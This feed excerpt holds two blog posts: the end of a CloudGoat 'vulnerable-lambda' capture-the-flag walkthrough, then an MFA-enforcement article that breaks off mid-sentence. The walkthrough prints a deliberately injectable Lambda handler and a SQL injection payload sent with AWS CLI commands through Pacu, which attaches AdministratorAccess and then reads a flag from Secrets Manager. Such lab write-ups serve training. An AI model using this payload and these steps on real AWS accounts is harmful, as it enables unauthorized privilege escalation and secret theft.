&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Name&quot;: &quot;cg-vulnerable_lambda_cgidsr4kzoh3iq&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Scenario&quot;: &quot;vulnerable-lambda&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Stack&quot;: &quot;CloudGoat&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Timeout&quot;: 3,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;TracingConfig&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Mode&quot;: &quot;PassThrough&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Version&quot;: &quot;$LATEST&quot;&#xA0;
&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0; {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Aliases&quot;: [],&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Architectures&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;x86_64&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; ],&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Code&quot;: [],&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;CodeSha256&quot;: &quot;/21kC0haUQolunH5/N+OTt8AgxyL0oYlqyio7yqrIYY=&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;CodeSize&quot;: 473,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Description&quot;: &quot;SNS message forwarding function for aggregating account notifications.&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Environment&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Variables&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;sns_arn&quot;: &quot;arn:aws:sns:us-east-1:&lt;redacted_account_id&gt;:aws-controltower-AggregateSecurityNotifications&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; }&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;EphemeralStorage&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Size&quot;: 512&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;EventSourceMappings&quot;: [],&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;FunctionArn&quot;: &quot;arn:aws:lambda:us-east-1:&lt;account_id&gt;:function:aws-controltower-NotificationForwarder&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;FunctionName&quot;: &quot;aws-controltower-NotificationForwarder&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Handler&quot;: &quot;index.lambda_handler&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;LastModified&quot;: &quot;2024-01-09T08:35:39.854+0000&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;LoggingConfig&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;LogFormat&quot;: &quot;Text&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;LogGroup&quot;: &quot;/aws/lambda/aws-controltower-NotificationForwarder&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;MemorySize&quot;: 128,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;PackageType&quot;: &quot;Zip&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Policy&quot;: [],&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Region&quot;: &quot;us-east-1&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;RevisionId&quot;: &quot;c21d6858-ae99-4e33-bb4e-cea3868c1d68&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Role&quot;: &quot;arn:aws:iam::&lt;account_id&gt;:role/aws-controltower-ForwardSnsNotificationRole&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Runtime&quot;: &quot;python3.9&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;SnapStart&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;ApplyOn&quot;: &quot;None&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;OptimizationStatus&quot;: &quot;Off&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Tags&quot;: [],&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Timeout&quot;: 60,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;TracingConfig&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Mode&quot;: &quot;PassThrough&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Version&quot;: &quot;$LATEST&quot;&#xA0;
&#xA0;&#xA0;&#xA0; }&#xA0;
&#xA0; ]&#xA0;
}&#xA0;</code></pre><p>This time I didn&#x2019;t truncate anything, happy now? &#x1F61C;</p><h2 id="infiltration-success-commandeering-lambda-functions">Infiltration Success: Commandeering Lambda Functions</h2><p>I&#x2019;m always down to read some code, are you?</p><pre><code class="language-python">import boto3&#xA0;
from sqlite_utils import Database&#xA0;
&#xA0;
db = Database(&quot;my_database.db&quot;)&#xA0;
iam_client = boto3.client(&apos;iam&apos;)&#xA0;
&#xA0;
&#xA0;
# db[&quot;policies&quot;].insert_all([&#xA0;
#&#xA0;&#xA0;&#xA0;&#xA0; {&quot;policy_name&quot;: &quot;AmazonSNSReadOnlyAccess&quot;, &quot;public&quot;: &apos;True&apos;}, &#xA0;
#&#xA0;&#xA0;&#xA0;&#xA0; {&quot;policy_name&quot;: &quot;AmazonRDSReadOnlyAccess&quot;, &quot;public&quot;: &apos;True&apos;},&#xA0;
#&#xA0;&#xA0;&#xA0;&#xA0; {&quot;policy_name&quot;: &quot;AWSLambda_ReadOnlyAccess&quot;, &quot;public&quot;: &apos;True&apos;},&#xA0;
#&#xA0;&#xA0;&#xA0;&#xA0; {&quot;policy_name&quot;: &quot;AmazonS3ReadOnlyAccess&quot;, &quot;public&quot;: &apos;True&apos;},&#xA0;
#&#xA0;&#xA0;&#xA0;&#xA0; {&quot;policy_name&quot;: &quot;AmazonGlacierReadOnlyAccess&quot;, &quot;public&quot;: &apos;True&apos;},&#xA0;
#&#xA0;&#xA0;&#xA0;&#xA0; {&quot;policy_name&quot;: &quot;AmazonRoute53DomainsReadOnlyAccess&quot;, &quot;public&quot;: &apos;True&apos;},&#xA0;
#&#xA0;&#xA0;&#xA0;&#xA0; {&quot;policy_name&quot;: &quot;AdministratorAccess&quot;, &quot;public&quot;: &apos;False&apos;}&#xA0;
# ])&#xA0;
&#xA0;
&#xA0;
def handler(event, context):&#xA0;
&#xA0;&#xA0;&#xA0; target_policys = event[&apos;policy_names&apos;]&#xA0;
&#xA0;&#xA0;&#xA0; user_name = event[&apos;user_name&apos;]&#xA0;
&#xA0;&#xA0;&#xA0; print(f&quot;target policys are : {target_policys}&quot;)&#xA0;
&#xA0;
&#xA0;&#xA0;&#xA0; for policy in target_policys:&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; statement_returns_valid_policy = False&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; statement = f&quot;select policy_name from policies where policy_name=&apos;{policy}&apos; and public=&apos;True&apos;&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; for row in db.query(statement):&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; statement_returns_valid_policy = True&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; print(f&quot;applying {row[&apos;policy_name&apos;]} to {user_name}&quot;)&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; response = iam_client.attach_user_policy(&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; UserName=user_name,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; PolicyArn=f&quot;arn:aws:iam::aws:policy/{row[&apos;policy_name&apos;]}&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; )&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; print(&quot;result: &quot; + str(response[&apos;ResponseMetadata&apos;][&apos;HTTPStatusCode&apos;]))&#xA0;
&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; if not statement_returns_valid_policy:&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; invalid_policy_statement = f&quot;{policy} is not an approved policy, please only choose from approved &quot; \&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; f&quot;policies and don&apos;t cheat. :) &quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; print(invalid_policy_statement)&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; return invalid_policy_statement&#xA0;
&#xA0;
&#xA0;&#xA0;&#xA0; return &quot;All managed policies were applied as expected.&quot;&#xA0;
&#xA0;
&#xA0;
if __name__ == &quot;__main__&quot;:&#xA0;
&#xA0;&#xA0;&#xA0; payload = {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;policy_names&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;AmazonSNSReadOnlyAccess&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;AWSLambda_ReadOnlyAccess&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; ],&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;user_name&quot;: &quot;cg-bilbo-user&quot;&#xA0;
&#xA0;&#xA0;&#xA0; }&#xA0;
&#xA0;&#xA0;&#xA0; print(handler(payload, &apos;uselessinfo&apos;))&#xA0;</code></pre><p>I guess this is why we have a review process in place. Have you spotted the vulnerability?</p><p>Check line 26:</p><pre><code class="language-python">statement = f&quot;select policy_name from policies where policy_name=&apos;{policy}&apos; and public=&apos;True&apos;&quot;&#xA0;</code></pre><p>This is an unfiltered SQL statement. Which just screams &#x201C;Please exploit me with SQL Injection!&#x201D;.</p><p>Are we going to do that?&#x2026; Of course!</p><h2 id="capitalizing-on-vulnerabilities-sql-injection-exploit">Capitalizing on Vulnerabilities: SQL Injection Exploit</h2><p>Naturally, we want to have AdministratorAccess. Why even go for less? All we need to do is simply, with a comment at the end of the statement, circumvent the last check and escalate our privileges.</p><p>We pass a value for a policy that does the actual injection: AdministratorAccess&#x2019; &#x2013;. Python blindly inserts the value of policy into the string which leads to the following SQL command:</p><pre><code class="language-python">select policy_name from policies where policy_name=&apos;AdministratorAccess&apos; --&apos; and public=&apos;True&apos;&#xA0;</code></pre><p>Let&#x2019;s do this!</p><p>For readability, you can check out the payload as json here:</p><pre><code class="language-json">{&#xA0;
&#xA0;&#xA0;&#xA0; &quot;policy_names&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;AdministratorAccess&apos; --&quot;&#xA0;
&#xA0;&#xA0;&#xA0; ],&#xA0;
&#xA0;&#xA0;&#xA0; &quot;user_name&quot;: &quot;cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq&quot;&#xA0;
}&#xA0;</code></pre><p>I&#x2019;m going to invoke the function with the payload inline via the AWS CLI with Pacu:</p><pre><code class="language-bash">Pacu (vulnerable_lambda:vulnerable_lambda/&lt;role_arn&gt;/assume-role) &gt; aws lambda invoke --function-name vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1 --payload &apos;{&quot;policy_names&quot;: [&quot;AdministratorAccess&apos;&quot;&apos;&quot;&apos; --&quot;],&quot;user_name&quot;: &quot;cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq&quot;}&apos; \response.json --region us-east-1&#xA0;
&#xA0;
{&#xA0;
&#xA0;&#xA0;&#xA0; &quot;StatusCode&quot;: 200,&#xA0;
&#xA0;&#xA0;&#xA0; &quot;ExecutedVersion&quot;: &quot;$LATEST&quot;&#xA0;
}&#xA0;</code></pre><p>Status 200! Sounds promising. Let&#x2019;s see if that worked as expected. Swapping back to bilbo.</p><pre><code class="language-bash">Pacu (vulnerable_lambda:vulnerable_lambda/&lt;role_arn&gt;/assume-role) &gt; swap_keys&#xA0;
&#xA0;
Swapping AWS Keys. Press enter to keep the currently active key.&#xA0;
AWS keys in this session:&#xA0;
&#xA0; [1] bilbo&#xA0;
&#xA0; [2] vulnerable_lambda/&lt;role_arn&gt;/assume-role (ACTIVE)&#xA0;
Choose an option: 1&#xA0;
AWS key is now bilbo.&#xA0;
Pacu (vulnerable_lambda:bilbo) &gt;&#xA0;&#xA0;</code></pre><p>Checking the permissions post-exploit:</p><pre><code class="language-bash">Pacu (vulnerable_lambda:bilbo) &gt; aws iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq&#xA0;
{&#xA0;
&#xA0;&#xA0;&#xA0; &quot;AttachedPolicies&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;PolicyName&quot;: &quot;AdministratorAccess&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;PolicyArn&quot;: &quot;arn:aws:iam::aws:policy/AdministratorAccess&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; }&#xA0;
&#xA0;&#xA0;&#xA0; ]&#xA0;
}&#xA0;</code></pre><p>Success! We&#x2019;ve got AdministratorAccess now linked to our user.</p><figure class="kg-card kg-image-card"><img src="https://evoila.com/wp-content/uploads/2024/02/image-4.png" class="kg-image" alt="I&#x2019;m in!&#xA0;" loading="lazy" width="560" height="309"></figure><h2 id="mission-accomplished-securing-the-flag">Mission Accomplished: Securing the Flag</h2><p>Listing the secrets and extracting the final flag is straightforward:</p><pre><code class="language-bash">Pacu (vulnerable_lambda:bilbo) &gt; aws secretsmanager list-secrets --region us-east-1&#xA0;
{&#xA0;
&#xA0;&#xA0;&#xA0; &quot;SecretList&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;ARN&quot;: &quot;arn:aws:secretsmanager:us-east-1:&lt;account_id&gt;:secret:vulnerable_lambda_cgidsr4kzoh3iq-final_flag-LWMwMY&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Name&quot;: &quot;vulnerable_lambda_cgidsr4kzoh3iq-final_flag&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;LastChangedDate&quot;: 1705914524.958,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;LastAccessedDate&quot;: 1705881600.0,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Tags&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Key&quot;: &quot;Stack&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Value&quot;: &quot;CloudGoat&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Key&quot;: &quot;Name&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Value&quot;: &quot;cg-vulnerable_lambda_cgidsr4kzoh3iq&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Key&quot;: &quot;Scenario&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Value&quot;: &quot;vulnerable-lambda&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; }&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; ],&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;SecretVersionsToStages&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;terraform-20240122090844785500000002&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;AWSCURRENT&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; ]&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;CreatedDate&quot;: 1705914524.298&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; }&#xA0;
&#xA0;&#xA0;&#xA0; ]&#xA0;
}&#xA0;</code></pre><p>Now the actual value:</p><pre><code class="language-bash">Pacu (vulnerable_lambda:bilbo) &gt; aws secretsmanager get-secret-value --secret-id vulnerable_lambda_cgidsr4kzoh3iq-final_flag --region us-east-1&#xA0;
{&#xA0;
&#xA0;&#xA0;&#xA0; &quot;ARN&quot;: &quot;arn:aws:secretsmanager:us-east-1:&lt;account_id&gt;:secret:vulnerable_lambda_cgidsr4kzoh3iq-final_flag-LWMwMY&quot;,&#xA0;
&#xA0;&#xA0;&#xA0; &quot;Name&quot;: &quot;vulnerable_lambda_cgidsr4kzoh3iq-final_flag&quot;,&#xA0;
&#xA0;&#xA0;&#xA0; &quot;VersionId&quot;: &quot;terraform-20240122090844785500000002&quot;,&#xA0;
&#xA0;&#xA0;&#xA0; &quot;SecretString&quot;: &quot;cg-secret-846237-284529&quot;,&#xA0;
&#xA0;&#xA0;&#xA0; &quot;VersionStages&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;AWSCURRENT&quot;&#xA0;
&#xA0;&#xA0;&#xA0; ],&#xA0;
&#xA0;&#xA0;&#xA0; &quot;CreatedDate&quot;: 1705914524.953&#xA0;
}&#xA0;</code></pre><p>The flag: <strong>cg-secret-846237-284529</strong>, marking the completion of this exercise.</p><h2 id="conclusion">Conclusion</h2><p>In our CloudGoat journey, we&#x2019;ve played the attacker, exploiting vulnerabilities to capture the flag. We&#x2019;ve gained critical insight into how attackers operate in the cloud.</p><p>Next, we&#x2019;ll switch hats again. Join me as we embrace the blue team&#x2019;s role, diving into code and infrastructure to mend the revealed gaps. We will fortify the weaknesses we utilize, turning vulnerabilities into robust defences.</p><figure class="kg-card kg-image-card"><img src="https://evoila.com/wp-content/uploads/2024/02/image-3.png" class="kg-image" alt="Can we fix it? Yes we can " loading="lazy" width="560" height="374"></figure><p>Stay tuned for the upcoming post!</p><p>Need your AWS environment <s>hacked</s> audited? Give us a call!</p><!--kg-card-begin: html--><hr><!--kg-card-end: html--><p>This article was originally written for <a href="https://evoila.com/de?ref=eduard.schwarzkopf.center" rel="nofollow">evoila</a>.</p>]]></content:encoded></item><item><title><![CDATA[Secure Your AWS Account: The Critical Importance of MFA and the Ease of a CloudFormation Stack]]></title><description><![CDATA[<p>The world of <a href="https://evoila.com/solutions/security/?ref=eduard.schwarzkopf.center">cybersecurity</a> is grappling with increasingly complex threats, with sophisticated cyber-attacks becoming the norm rather than an exception. A testament to this is the <a href="https://www.microsoft.com/en-us/security/blog/2024/01/25/midnight-blizzard-guidance-for-responders-on-nation-state-attack/?ref=eduard.schwarzkopf.center" rel="noreferrer noopener">recent revelation from Microsoft</a>, where the security team uncovered an intrusion by a nation-state actor dubbed Midnight Blizzard. The attack unveiled a critical gap:</p>]]></description><link>https://eduard.schwarzkopf.center/secure-your-aws-account-the-critical-importance-of-mfa-and-the-ease-of-a-cloudformation-stack/</link><guid isPermaLink="false">6605520a031e2c00015f3376</guid><category><![CDATA[AWS]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Eduard Schwarzkopf]]></dc:creator><pubDate>Thu, 01 Feb 2024 11:20:00 GMT</pubDate><content:encoded><![CDATA[<p>The world of <a href="https://evoila.com/solutions/security/?ref=eduard.schwarzkopf.center">cybersecurity</a> is grappling with increasingly complex threats, with sophisticated cyber-attacks becoming the norm rather than an exception. A testament to this is the <a href="https://www.microsoft.com/en-us/security/blog/2024/01/25/midnight-blizzard-guidance-for-responders-on-nation-state-attack/?ref=eduard.schwarzkopf.center" rel="noreferrer noopener">recent revelation from Microsoft</a>, where the security team uncovered an intrusion by a nation-state actor dubbed Midnight Blizzard. The attack unveiled a critical gap: the missing layer of Multi-Factor Authentication (MFA) that could have provided a robust defence.</p><p>As cyber attackers evolve, so must our defences. In the battle against unauthorized access, MFA stands as a critical shield &#x2014; a must-have rather than a luxury. This is particularly pertinent for AWS accounts that rely on direct IAM user logins, as opposed to using AWS Identity Center or other Single Sign-On (SSO) solutions. Here, MFA&#x2019;s role is not just preventive; it&#x2019;s the cornerstone of a fortified security posture.</p><h2 id="mfa-the-simple-yet-powerful-guard">MFA: The Simple, Yet Powerful Guard</h2><p>MFA adds an additional level of security by requiring multiple forms of verification before granting access. Just like a reinforced door protecting your most valuable treasures, MFA ensures that even if passwords are compromised, there is an additional barrier keeping threat actors at bay.</p><p>In the case of Midnight Blizzard, the attackers made headway owing to the absence of MFA on certain accounts within Microsoft&#x2019;s infrastructure. That&#x2019;s a vulnerability we aim not just to patch but to eliminate in your AWS environment.</p><h2 id="how-we-help-you-enforce-mfa">How We Help You Enforce MFA</h2><p>To help you enforce MFA, we have crafted a ready-to-deploy CloudFormation stack tailored to enforce MFA on your AWS account, acting as a powerful defence mechanism. This solution is particularly designed for AWS accounts that still depend on IAM user logins for direct access, a common scenario for organizations not utilizing Identity Center or other SSO platforms.</p><p>Deploying <a href="https://github.com/evoila/AWS-MFA-Enforcement-Stack?ref=eduard.schwarzkopf.center" rel="noreferrer noopener">this CloudFormation stack</a> is straightforward and can be seamlessly integrated into any AWS account, ensuring every user who accesses the AWS Management Console via IAM users complies with MFA policies.</p><h2 id="implementation-without-complexity">Implementation Without Complexity</h2><p>By leveraging the CloudFormation stack, you can bypass the technical hurdles of enforcing MFA. It automates the process of detection and limitation of IAM users lacking MFA. A user found without MFA will be automatically sanctioned with restricted permissions &#x2014; strictly to credential and MFA device management tasks. Only after enabling MFA can they access the AWS services to which they are entitled.</p><h2 id="a-collective-step-toward-enhanced-security">A Collective Step Toward Enhanced Security</h2><p>Our proactive stance, influenced by wide-ranging shared experiences, including Microsoft&#x2019;s encounter with Midnight Blizzard, is a testament to a broader responsibility to secure digital assets across the board. By taking this critical step of enforcing MFA via an easily deployable CloudFormation stack, your organization fortifies its defences, contributing to a stronger collective security framework in the cloud.</p><h2 id="in-conclusion">In Conclusion</h2><p>In today&#x2019;s cybersecurity climate, MFA is not optional &#x2014; it&#x2019;s essential. It&#x2019;s a vital tool in your cybersecurity arsenal, helping to protect against the kind of threats exemplified by Midnight Blizzard.</p><p>Let&#x2019;s not wait for an incident to remind us of MFA&#x2019;s critical role; instead, let&#x2019;s take charge and safeguard our AWS environments proactively. Enforce MFA on your AWS Account now with our <a href="https://github.com/evoila/AWS-MFA-Enforcement-Stack?ref=eduard.schwarzkopf.center" rel="noreferrer noopener">AWS MFA Enforcement Stack</a>. The CloudFormation stack simplifies the enforcement, ensuring that all IAM users across any 